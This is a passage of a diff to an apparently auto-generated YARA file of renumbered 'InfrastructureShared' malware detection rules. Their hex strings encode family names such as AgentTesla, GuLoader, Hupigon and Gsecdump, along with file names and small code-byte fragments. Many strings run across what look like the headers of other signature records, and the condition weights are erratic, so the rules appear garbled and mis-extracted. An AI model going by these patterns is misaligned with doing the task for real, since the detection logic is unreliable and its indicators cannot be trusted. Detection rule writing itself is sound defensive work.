1)*-31034+(#a_00_8 & 1)*110+(#a_00_9 & 1)*34+(#a_0f_10 & 1)*400) >=33 + +} +rule _InfrastructureShared_16862{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,7a 00 6f 00 06 00 21 " @@ -184631,7 +197001,7 @@ rule _InfrastructureShared_15822{ ((#a_46_0 & 1)*16675+(#a_0a_1 & 1)*-28672+(#a_00_2 & 1)*100+(#a_6f_4 & 1)*384+(#a_0a_5 & 1)*-14844) >=111 } -rule _InfrastructureShared_15823{ +rule _InfrastructureShared_16863{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -184642,7 +197012,20 @@ rule _InfrastructureShared_15823{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*-29842) >=1 } -rule _InfrastructureShared_15824{ +rule _InfrastructureShared_16864{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 6f 75 72 50 6f 6e 79 2e 41 21 64 68 61 00 01 00 1e 01 5b 00 79 00 73 00 6f 00 20 00 61 00 72 00 67 00 73 00 5d 00 28 00 65 00 2e 00 67 00 2e 00 01 00 30 01 47 00 65 00 72 00 6e 00 72 00 61 } //16675 + $a_00_2 = {61 00 79 00 6c 00 6f 00 61 00 64 00 20 00 66 00 61 00 69 00 6c 00 65 00 64 00 2e 00 01 00 22 01 79 00 73 00 6f 00 5c 00 79 00 73 00 6f 00 73 00 65 00 72 00 69 00 61 00 6c 00 2e 00 65 00 78 00 65 00 01 00 30 01 3c 00 78 00 73 00 3a 00 65 00 } //32 + $a_00_3 = {6d 00 65 00 6e 00 74 00 20 00 6e 00 61 00 6d 00 65 00 3d 00 22 00 68 00 65 00 68 00 65 00 22 00 3e 00 01 00 1a 01 3c 00 68 00 65 00 68 00 65 00 20 00 64 00 69 00 66 00 66 00 67 00 72 00 3a 00 00 00 78 f7 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 61 76 69 63 61 } //108 + $a_42_4 = {4d 54 42 00 01 00 ad 03 8b 4f 3c 03 cf 81 39 50 45 00 00 89 4c 24 90 01 01 0f 85 90 01 04 53 8b 59 78 8b 4c 3b 1c 03 df 03 cf 89 4c 24 90 01 01 8b 4b 24 03 cf 89 4c 24 90 01 01 8b 4b 20 03 cf 83 7b 18 00 89 5c 24 90 01 } //21294 + condition: + ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*32+(#a_00_3 & 1)*108+(#a_42_4 & 1)*21294) >=1 + +} +rule _InfrastructureShared_16865{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -184653,7 +197036,7 @@ rule _InfrastructureShared_15824{ ((#a_46_0 & 1)*16675+(#a_24_1 & 1)*-30257) >=2 } -rule _InfrastructureShared_15825{ +rule _InfrastructureShared_16866{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -184664,7 +197047,7 @@ rule _InfrastructureShared_15825{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*108) >=2 } -rule _InfrastructureShared_15826{ +rule _InfrastructureShared_16867{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -184677,7 +197060,7 @@ rule _InfrastructureShared_15826{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*121+(#a_69_2 & 1)*25445+(#a_00_3 & 1)*99) >=2 } -rule _InfrastructureShared_15827{ +rule _InfrastructureShared_16868{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -184689,7 +197072,7 @@ rule _InfrastructureShared_15827{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*115+(#a_00_4 & 1)*111) >=2 } -rule _InfrastructureShared_15828{ +rule _InfrastructureShared_16869{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -184701,7 +197084,7 @@ rule _InfrastructureShared_15828{ ((#a_46_0 & 1)*16675+(#a_5a_1 & 1)*16697+(#a_09_2 & 1)*6544) >=3 } -rule _InfrastructureShared_15829{ +rule _InfrastructureShared_16870{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -184711,7 +197094,7 @@ rule _InfrastructureShared_15829{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_15830{ +rule _InfrastructureShared_16871{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -184726,7 +197109,7 @@ rule _InfrastructureShared_15830{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*29300+(#a_00_2 & 1)*110+(#a_63_3 & 1)*21313+(#a_00_4 & 1)*105+(#a_46_5 & 1)*22066) >=3 } -rule _InfrastructureShared_15831{ +rule _InfrastructureShared_16872{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -184741,7 +197124,7 @@ rule _InfrastructureShared_15831{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*25455+(#a_56_2 & 1)*25955+(#a_41_3 & 1)*25972+(#a_6e_4 & 1)*26994+(#a_01_5 & 1)*1) >=3 } -rule _InfrastructureShared_15832{ +rule _InfrastructureShared_16873{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 07 00 21 " @@ -184756,7 +197139,7 @@ rule _InfrastructureShared_15832{ ((#a_46_0 & 1)*16675+(#a_8b_1 & 1)*-2+(#a_00_2 & 1)*101+(#a_00_3 & 1)*115+(#a_00_5 & 1)*4+(#a_52_6 & 1)*21320) >=3 } -rule _InfrastructureShared_15833{ +rule _InfrastructureShared_16874{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -184768,7 +197151,7 @@ rule _InfrastructureShared_15833{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*116+(#a_00_3 & 1)*101) >=4 } -rule _InfrastructureShared_15834{ +rule _InfrastructureShared_16875{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -184778,7 +197161,7 @@ rule _InfrastructureShared_15834{ ((#a_54_0 & 1)*18467) >=4 } -rule _InfrastructureShared_15835{ +rule _InfrastructureShared_16876{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -184791,7 +197174,7 @@ rule _InfrastructureShared_15835{ ((#a_54_0 & 1)*18467+(#a_cc_1 & 1)*1800+(#a_46_2 & 1)*17970+(#a_36_3 & 1)*14129) >=4 } -rule _InfrastructureShared_15836{ +rule _InfrastructureShared_16877{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -184804,7 +197187,7 @@ rule _InfrastructureShared_15836{ ((#a_4c_0 & 1)*21539+(#a_44_1 & 1)*769+(#a_4d_2 & 1)*11873+(#a_02_3 & 1)*32266) >=4 } -rule _InfrastructureShared_15837{ +rule _InfrastructureShared_16878{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -184818,7 +197201,7 @@ rule _InfrastructureShared_15837{ ((#a_54_0 & 1)*18467+(#a_8e_1 & 1)*2560+(#a_73_2 & 1)*21038+(#a_4d_3 & 1)*18432+(#a_1c_4 & 1)*-29848) >=5 } -rule _InfrastructureShared_15838{ +rule _InfrastructureShared_16879{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -184830,7 +197213,7 @@ rule _InfrastructureShared_15838{ ((#a_4c_0 & 1)*21539+(#a_08_1 & 1)*-29880+(#a_48_4 & 1)*-29952) >=5 } -rule _InfrastructureShared_15839{ +rule _InfrastructureShared_16880{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 21 " @@ -184842,7 +197225,7 @@ rule _InfrastructureShared_15839{ ((#a_54_0 & 1)*18467+(#a_5f_2 & 1)*19201+(#a_73_3 & 1)*25458) >=6 } -rule _InfrastructureShared_15840{ +rule _InfrastructureShared_16881{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 21 " @@ -184856,7 +197239,7 @@ rule _InfrastructureShared_15840{ ((#a_4c_0 & 1)*21539+(#a_62_1 & 1)*13366+(#a_61_2 & 1)*29810+(#a_75_3 & 1)*25972+(#a_73_4 & 1)*28005) >=6 } -rule _InfrastructureShared_15841{ +rule _InfrastructureShared_16882{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 07 00 21 " @@ -184872,7 +197255,7 @@ rule _InfrastructureShared_15841{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*13106+(#a_5f_2 & 1)*20037+(#a_00_3 & 1)*28015+(#a_6f_4 & 1)*384+(#a_6f_5 & 1)*29793+(#a_01_6 & 1)*4095) >=6 } -rule _InfrastructureShared_15842{ +rule _InfrastructureShared_16883{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 09 00 21 " @@ -184890,7 +197273,7 @@ rule _InfrastructureShared_15842{ ((#a_46_0 & 1)*16675+(#a_43_1 & 1)*28530+(#a_72_2 & 1)*17988+(#a_65_3 & 1)*25902+(#a_6e_4 & 1)*25441+(#a_73_5 & 1)*25455+(#a_72_6 & 1)*29804+(#a_73_7 & 1)*28261+(#a_6f_8 & 1)*28271) >=6 } -rule _InfrastructureShared_15843{ +rule _InfrastructureShared_16884{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 09 00 21 " @@ -184902,13 +197285,12 @@ rule _InfrastructureShared_15843{ $a_65_4 = {75 72 65 6e 20 73 75 62 63 6f 6d 70 6f 6e 65 6e 74 73 20 73 68 65 64 74 61 67 65 6e 65 73 01 00 14 81 01 66 6c 65 74 66 69 6c 65 72 20 73 6b 69 6b 6b 65 6c 73 65 73 01 00 0e 81 01 73 70 61 6e 67 6f 6c 69 74 65 2e 65 78 65 00 00 78 f7 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 53 4d 31 33 } //28783 $a_33_5 = {4d 54 42 00 01 00 1e 81 01 6c 79 5c 70 65 72 69 6f 64 6f 6e 74 6f 63 6c 61 73 69 61 5c 55 64 66 6c 64 65 2e 69 6e 69 01 00 34 81 01 25 53 77 69 66 74 } //13360 $a_65_6 = {5c 62 6f 6f 64 6c 65 72 5c 42 72 61 6e 64 6d 61 6e 64 5c 46 6c 6f 77 65 72 62 65 64 5c 54 61 73 6b 65 6b 72 61 62 62 65 73 01 00 0f 81 01 72 65 20 54 75 62 61 69 73 74 73 2e 65 78 65 01 00 16 81 01 44 69 20 47 69 6f 72 67 69 6f 20 43 6f 72 70 6f 72 61 74 69 6f 6e 01 00 15 81 01 45 6c 65 6f 6e 6f 72 65 20 54 75 62 61 69 } //26988 - $a_2e_7 = {78 65 01 00 0b 81 01 65 72 5c 4d 61 6a 6f 72 69 73 65 01 00 12 81 01 6e 67 73 73 73 6f 6e 73 5c 56 61 73 6f 74 72 69 62 65 00 00 78 f7 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 52 30 34 30 38 32 31 21 4d 54 42 00 01 00 44 01 a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 } //29811 - $a_00_8 = {a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 01 00 0e 00 67 00 61 00 6d 00 65 00 46 00 72 00 6d 00 01 00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 2e 00 70 00 61 00 63 00 6d 00 61 00 6e 00 32 00 30 00 30 00 38 00 5f 00 30 00 31 00 2e 00 52 00 65 00 73 00 6f 00 75 00 72 00 63 00 65 00 73 00 01 00 0a 01 43 61 6c 6c 42 79 4e 61 6d 65 01 00 05 01 43 6c 6f 6e 65 01 00 08 01 54 6f 53 74 72 69 } //163 + $a_2e_7 = {78 65 01 00 0b 81 01 65 72 5c 4d 61 6a 6f 72 69 73 65 01 00 12 81 01 6e 67 73 73 73 6f 6e 73 5c 56 61 73 6f 74 72 69 62 65 00 00 78 f7 00 00 08 00 08 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 74 72 6f 64 65 63 74 75 73 2e 43 21 4d 54 42 00 03 00 18 03 48 83 e0 1a 90 90 90 90 48 31 c0 90 90 90 90 90 90 90 90 48 ff } //29811 condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*25963+(#a_6d_2 & 1)*21620+(#a_01_3 & 1)*28265+(#a_65_4 & 1)*28783+(#a_33_5 & 1)*13360+(#a_65_6 & 1)*26988+(#a_2e_7 & 1)*29811+(#a_00_8 & 1)*163) >=6 + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*25963+(#a_6d_2 & 1)*21620+(#a_01_3 & 1)*28265+(#a_65_4 & 1)*28783+(#a_33_5 & 1)*13360+(#a_65_6 & 1)*26988+(#a_2e_7 & 1)*29811) >=6 } -rule _InfrastructureShared_15844{ +rule _InfrastructureShared_16885{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -184924,7 +197306,7 @@ rule _InfrastructureShared_15844{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*9473+(#a_69_2 & 1)*29472+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1) >=7 } -rule _InfrastructureShared_15845{ +rule _InfrastructureShared_16886{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -184932,30 +197314,56 @@ rule _InfrastructureShared_15845{ $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 53 4d 31 33 30 34 32 33 21 4d 54 42 00 01 00 1e 81 01 6c 79 5c 70 65 72 69 6f 64 6f 6e 74 6f 63 6c 61 73 69 61 5c 55 64 66 6c 64 65 2e 69 6e 69 01 00 34 81 01 25 53 77 69 66 74 6c 69 6b 65 25 5c 62 6f } //18467 $a_65_1 = {5c 42 72 61 6e 64 6d 61 6e 64 5c 46 6c 6f 77 65 72 62 65 64 5c 54 61 73 6b 65 6b 72 61 62 62 65 73 01 00 0f 81 01 72 65 20 54 75 62 61 69 73 74 73 2e 65 78 65 01 00 16 81 01 44 69 20 47 69 6f 72 67 69 6f 20 43 6f 72 70 6f 72 61 74 69 6f 6e 01 00 15 81 01 45 6c 65 6f 6e 6f 72 65 20 54 75 62 61 69 73 74 73 2e 65 78 65 01 00 } //25711 $a_65_2 = {5c } //-32501 \ - $a_6f_3 = {69 73 65 01 00 12 81 01 6e 67 73 73 73 6f 6e 73 5c 56 61 73 6f 74 72 69 62 65 00 00 78 f7 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 52 30 34 30 38 32 31 21 4d 54 42 00 01 00 44 01 a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 } //24909 - $a_00_4 = {a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 01 00 0e 00 67 00 61 00 6d 00 65 00 46 00 72 00 6d 00 01 00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 2e 00 70 00 61 00 63 00 6d 00 61 00 6e 00 32 00 30 00 30 00 38 00 5f 00 30 00 31 00 2e 00 52 00 65 00 73 00 6f 00 75 00 72 00 63 00 65 00 73 00 01 00 0a 01 43 61 6c 6c 42 79 4e 61 6d 65 01 00 05 01 43 6c 6f 6e 65 01 00 08 01 54 6f 53 74 72 69 6e 67 01 00 04 01 } //163 - $a_57_5 = {00 78 f7 00 00 0a 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 33 32 2f 48 75 70 69 67 6f 6e 2e 67 65 6e 21 41 00 01 00 10 01 07 00 42 00 42 00 41 00 42 00 4f 00 52 00 54 00 01 00 0c 01 05 00 42 00 42 00 41 00 4c 00 4c 00 01 00 12 01 08 00 42 00 42 00 43 00 41 00 4e 00 43 00 45 00 4c 00 01 00 10 01 } //26691 - $a_00_6 = {42 00 43 00 4c 00 4f 00 53 00 45 00 01 00 1a 01 0c 00 50 00 52 00 45 00 56 00 49 00 45 00 57 00 47 00 4c 00 59 00 50 00 48 00 01 00 0e 01 06 00 44 00 56 00 43 00 4c 00 41 00 4c 00 02 00 0e 01 06 00 } //7 + $a_6f_3 = {69 73 65 01 00 12 81 01 6e 67 73 73 73 6f 6e 73 5c 56 61 73 6f 74 72 69 62 65 00 00 78 f7 00 00 08 00 08 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 74 72 6f 64 65 63 74 75 73 2e 43 21 4d 54 42 00 03 00 18 03 48 83 e0 1a 90 90 90 90 48 31 c0 90 90 90 90 90 90 90 90 48 ff c0 90 00 03 00 16 } //24909 + $a_6e_4 = {21 57 59 53 54 6a 6b 46 23 40 63 4c 35 6e 51 23 30 53 02 00 90 00 4d 00 6f 00 7a 00 69 00 6c 00 6c 00 61 00 2f 00 35 00 2e 00 30 00 20 00 28 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 4e 00 54 00 20 00 36 00 2e 00 31 00 3b 00 20 00 57 00 4f 00 57 00 36 00 34 } //16641 + $a_00_6 = {3a 00 35 00 30 00 2e 00 30 00 29 00 20 00 47 00 65 00 63 00 6b 00 6f 00 2f 00 32 00 30 00 31 00 30 00 30 00 31 00 30 00 31 00 20 00 46 00 69 00 72 00 65 00 66 00 6f 00 78 00 2f 00 35 00 30 00 2e 00 30 00 00 00 78 f7 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 52 30 34 30 38 32 31 21 4d 54 42 00 01 00 } //114 condition: - ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*25711+(#a_65_2 & 1)*-32501+(#a_6f_3 & 1)*24909+(#a_00_4 & 1)*163+(#a_57_5 & 1)*26691+(#a_00_6 & 1)*7) >=7 + ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*25711+(#a_65_2 & 1)*-32501+(#a_6f_3 & 1)*24909+(#a_6e_4 & 1)*16641+(#a_00_6 & 1)*114) >=7 } -rule _InfrastructureShared_15846{ +rule _InfrastructureShared_16887{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 74 72 6f 64 65 63 74 75 73 2e 43 21 4d 54 42 00 03 00 18 03 48 83 e0 1a 90 90 90 90 48 31 c0 90 90 90 90 90 90 90 90 48 ff c0 90 00 03 00 16 01 41 59 6e 4d 21 57 } //21539 + $a_6a_1 = {46 23 40 63 4c 35 6e 51 23 30 53 02 00 90 00 4d 00 6f 00 7a 00 69 00 6c 00 6c 00 61 00 2f 00 35 00 2e 00 30 00 20 00 28 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 4e 00 54 00 20 00 36 00 2e 00 31 00 3b 00 20 00 57 00 4f 00 57 00 36 00 34 00 3b } //21337 + condition: + ((#a_4c_0 & 1)*21539+(#a_6a_1 & 1)*21337) >=8 + +} +rule _InfrastructureShared_16888{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " strings : $a_54_0 = {3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 52 30 34 30 38 32 31 21 4d 54 42 00 01 00 44 01 a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 a3 00 a3 } //18467 - $a_00_2 = {a3 00 a3 00 a3 00 a3 00 a3 00 01 00 0e 00 67 00 61 00 6d 00 65 00 46 00 72 00 6d 00 01 00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 2e 00 70 00 61 00 63 00 6d 00 61 00 6e 00 32 00 30 00 30 00 38 00 5f 00 30 00 31 00 2e 00 52 00 65 00 73 00 6f 00 75 00 72 00 63 00 65 00 73 00 01 00 0a 01 43 61 6c 6c 42 79 4e 61 6d 65 01 00 05 01 43 6c 6f 6e 65 01 00 08 01 54 6f 53 74 72 69 6e 67 01 00 04 01 43 68 72 57 00 00 78 f7 00 00 0a 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f } //163 - $a_44_3 = {6f 70 70 65 72 3a 57 69 6e 33 32 2f 48 75 70 69 67 6f 6e 2e 67 65 6e 21 41 00 01 00 10 01 07 00 42 00 42 00 41 00 42 00 4f 00 52 00 54 00 01 00 0c 01 05 00 42 00 42 00 41 00 4c 00 4c 00 01 00 12 01 08 00 42 00 42 00 43 00 41 00 4e 00 43 00 45 00 4c 00 01 00 10 01 07 00 42 00 42 00 43 00 4c 00 4f 00 53 00 45 00 01 00 1a 01 0c 00 } //24938 - $a_00_4 = {45 00 56 00 49 00 45 00 57 00 47 00 4c 00 59 00 50 00 48 00 01 00 0e 01 06 00 44 00 56 00 43 00 4c 00 41 00 4c 00 02 00 0e 01 06 00 48 00 41 00 43 00 4b 00 45 00 52 00 01 00 1c 01 0d 00 54 00 4d 00 41 00 49 00 4e 00 46 00 4f 00 52 00 4d 00 56 00 } //80 - $a_00_5 = {32 00 01 00 12 01 08 00 4d 00 41 00 49 00 4e 00 49 00 43 00 4f 00 4e 00 00 00 78 f7 00 00 0a 00 0a 00 05 00 21 23 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 47 73 65 63 64 75 6d 70 21 64 68 61 00 02 00 2a 00 66 00 61 00 69 00 6c 00 65 00 64 00 } //69 - $a_00_6 = {6f 00 20 00 63 00 72 00 65 00 61 00 74 00 65 00 20 00 70 00 69 00 70 00 65 00 02 00 1e 00 64 00 75 00 6d 00 70 00 5f 00 75 00 73 00 65 00 64 00 68 00 61 00 73 00 68 00 65 00 73 00 02 00 0b 01 53 61 6d 49 43 6f 6e 6e 65 63 74 02 00 22 00 25 00 2e 00 2a 00 73 00 28 00 63 00 75 00 72 00 72 00 65 00 6e 00 74 00 29 00 3a 00 25 00 64 00 3a 00 02 00 48 } //32 + $a_00_2 = {a3 00 a3 00 a3 00 a3 00 a3 00 01 00 0e 00 67 00 61 00 6d 00 65 00 46 00 72 00 6d 00 01 00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 2e 00 70 00 61 00 63 00 6d 00 61 00 6e 00 32 00 30 00 30 00 38 00 5f 00 30 00 31 00 2e 00 52 00 65 00 73 00 6f 00 75 00 72 00 63 00 65 00 73 00 01 00 0a 01 43 61 6c 6c 42 79 4e 61 6d 65 01 00 05 01 43 6c 6f 6e 65 01 00 08 01 54 6f 53 74 72 69 6e 67 01 00 04 01 43 68 72 57 00 00 78 f7 00 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f } //163 + $a_3a_3 = {69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 41 43 30 31 21 4d 54 42 00 01 00 16 81 01 5c 53 70 6c 65 6e 64 69 64 74 32 30 30 5c 7a 65 65 73 2e 6a 70 67 01 00 18 81 01 5c 68 69 67 5c 73 75 70 70 6c 65 6d 65 6e 74 61 72 69 65 73 2e 62 69 6e 01 00 11 81 01 5c 50 75 65 72 70 65 72 61 6e 74 33 32 2e 67 69 66 01 00 13 81 01 42 61 72 } //24938 + $a_66_4 = {72 79 6b 73 32 35 32 2e 6a 70 67 01 00 0e 81 01 64 69 73 63 75 72 73 69 66 79 2e 69 6e 69 01 00 0e 81 01 6b 6e 75 73 65 6c 73 6b 65 73 2e 6a 70 67 01 00 11 81 01 73 74 72 69 64 68 61 61 72 65 64 65 73 2e 6a 70 67 01 00 0f 81 01 73 74 72 6f 62 6f 73 63 6f 70 79 2e 6a 70 67 01 00 0d 81 01 75 } //29817 + $a_6b_5 = {6e 64 65 2e 6a 70 67 00 00 78 f7 00 00 0a 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 33 32 2f 48 75 70 69 67 6f 6e 2e 67 65 6e 21 41 00 01 00 10 01 07 00 42 00 42 00 41 00 42 00 4f 00 52 00 54 00 01 00 0c 01 05 00 42 00 42 00 41 00 4c 00 4c 00 01 00 12 01 08 00 42 00 42 00 43 00 41 00 } //29796 + $a_00_6 = {45 00 4c 00 01 00 10 01 07 00 42 00 42 00 43 00 4c 00 4f 00 53 00 45 00 01 00 1a 01 0c 00 50 00 52 00 45 00 56 00 49 00 45 00 57 00 47 00 4c 00 59 00 50 00 48 00 01 00 0e 01 06 00 44 00 56 00 43 00 4c } //78 condition: - ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*163+(#a_44_3 & 1)*24938+(#a_00_4 & 1)*80+(#a_00_5 & 1)*69+(#a_00_6 & 1)*32) >=8 + ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*163+(#a_3a_3 & 1)*24938+(#a_66_4 & 1)*29817+(#a_6b_5 & 1)*29796+(#a_00_6 & 1)*78) >=8 } -rule _InfrastructureShared_15847{ +rule _InfrastructureShared_16889{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 41 43 30 31 21 4d 54 42 00 01 00 16 81 01 5c 53 70 6c 65 6e 64 69 64 74 32 30 30 5c 7a 65 65 73 2e 6a 70 67 01 00 18 81 01 5c 68 69 67 5c 73 75 70 70 6c 65 6d 65 6e 74 61 72 69 } //18467 + $a_62_1 = {6e 01 00 11 81 01 5c 50 75 65 72 70 65 72 61 6e 74 33 32 2e 67 69 66 01 00 13 81 01 42 61 72 79 74 61 66 74 72 79 6b 73 32 35 32 2e 6a 70 } //29541 + $a_69_3 = {63 75 72 73 69 66 79 2e 69 6e 69 01 00 0e 81 01 6b 6e 75 73 65 6c 73 6b 65 73 2e 6a 70 67 01 00 11 81 01 73 74 72 69 64 68 61 61 72 65 64 65 73 2e 6a 70 67 01 00 0f 81 01 73 74 72 6f 62 6f 73 63 6f 70 79 2e 6a 70 67 01 00 0d 81 01 75 64 74 6e 6b 65 6e 64 65 2e 6a 70 67 00 00 78 f7 00 00 0a 00 09 00 } //385 + $a_23_4 = {53 54 52 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 33 32 2f 48 75 70 69 67 6f 6e 2e 67 } //9 STR:TrojanDropper:Win32/Hupigon.g + $a_41_5 = {01 00 10 01 07 00 42 00 42 00 41 00 42 00 4f 00 52 00 54 00 01 00 0c 01 05 00 42 00 42 00 41 00 4c } //28261 + $a_08_7 = {00 } //4608 + $a_00_8 = {43 00 41 00 4e 00 43 00 45 00 4c 00 01 00 10 01 07 00 42 00 42 00 43 00 4c 00 4f 00 53 00 45 00 01 00 1a 01 0c 00 50 00 52 00 45 00 56 00 49 00 45 00 57 00 47 00 4c 00 59 00 50 00 48 00 01 00 0e 01 } //66 + condition: + ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*29541+(#a_69_3 & 1)*385+(#a_23_4 & 1)*9+(#a_41_5 & 1)*28261+(#a_08_7 & 1)*4608+(#a_00_8 & 1)*66) >=9 + +} +rule _InfrastructureShared_16890{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 09 00 09 00 21 " @@ -184972,7 +197380,7 @@ rule _InfrastructureShared_15847{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*65+(#a_00_2 & 1)*6+(#a_00_3 & 1)*10+(#a_6f_4 & 1)*21611+(#a_74_5 & 1)*25966+(#a_00_6 & 1)*114+(#a_00_7 & 1)*101) >=9 } -rule _InfrastructureShared_15848{ +rule _InfrastructureShared_16891{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 05 00 21 " @@ -184984,7 +197392,7 @@ rule _InfrastructureShared_15848{ ((#a_63_0 & 1)*18467+(#a_00_2 & 1)*115+(#a_49_3 & 1)*24915) >=10 } -rule 